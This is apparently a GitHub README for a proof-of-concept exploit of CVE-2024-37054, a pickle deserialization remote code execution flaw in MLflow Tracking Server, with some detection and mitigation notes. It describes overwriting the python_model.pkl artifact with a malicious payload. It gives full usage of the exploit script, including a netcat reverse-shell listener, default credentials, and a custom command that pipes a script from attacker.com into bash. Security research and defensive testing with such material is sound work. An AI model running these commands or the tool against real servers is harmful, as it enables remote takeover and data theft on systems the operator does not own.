ben-slates/cve-2024-37054Proof-of-concept exploit for CVE-2024-37054, a pickle deserialization RCE in MLflow Tracking Server. Authenticated attackers can overwrite model artifacts to achieve remote code execution. Includes detection and mitigation guidance.
Proof-of-concept exploit for a critical pickle deserialization vulnerability in MLflow Tracking Server, enabling authenticated remote code execution.
⚠️ For educational and authorized security testing only. Do not use against systems you do not own or have explicit written permission to test.
| Field | Value |
|---|
| CVE ID | CVE-2024-37054 |
| CVSS Score | 8.8 (HIGH) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Affected Versions | MLflow < 2.14.3 |
| Patched Version | MLflow ≥ 2.14.3 |
| Vulnerability Type | CWE-502: Deserialization of Untrusted Data |
| Attack Vector | Network |
| Privileges Required | Low (valid credentials) |
| User Interaction | None |
MLflow Tracking Server deserializes model artifacts via Python's pickle module when loading models for inference. An authenticated attacker can overwrite the python_model.pkl artifact in MLflow's artifact repository with a malicious pickle payload. When the model is subsequently loaded (e.g., during a prediction request), the payload is deserialized, executing arbitrary code on the server.
Prerequisites for exploitation:
Successful exploitation yields remote code execution at the privilege level of the MLflow server process, which may lead to full system compromise, data exfiltration, lateral movement, or persistent access.
python_model.pkl artifact is replaced with a crafted pickle payload via PUT /api/2.0/mlflow-artifacts/artifacts/....pickle.load() on the compromised artifact.__reduce__ method invokes os.system(), executing the attacker's command.The payload uses os.system() (a C built-in) rather than cloudpickle to maximize cross-version compatibility and avoid Python version-specific bytecode issues.
Requirements: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Start a listener
nc -lvnp 4444
# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
| Argument | Description |
|---|---|
target | Target application URL |
mlflow | MLflow Tracking Server URL |
lhost | Attacker host for reverse shell callback |
lport | Attacker port for reverse shell callback |
--mlflow-creds USER:PASS | MLflow credentials (default: admin:password) |
--app-username | Application login username |
--app-password | Application login password |
--app-login-url | Login endpoint path |
--upload-url | Upload endpoint path |
--predict-url | Prediction endpoint path |
--experiment-id ID | Target a specific experiment ID |
--delay SECONDS | Delay between steps (default: 2s) |
--cmd COMMAND | Custom command to execute |
--verbose / --quiet | Verbosity control |
--no-color | Disable colored output |
PUT requests to /api/2.0/mlflow-artifacts/artifacts/ endpointspython_model.pklPOST /api/2.0/mlflow/runs/search followed immediately by artifact modificationsos.system() calls from MLflow processes# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
Immediate:
Long-term:
This tool is intended solely for:
Do not use this tool on any system you do not own or have explicit written permission to test. The author assumes no liability for misuse.
MIT — see LICENSE for details.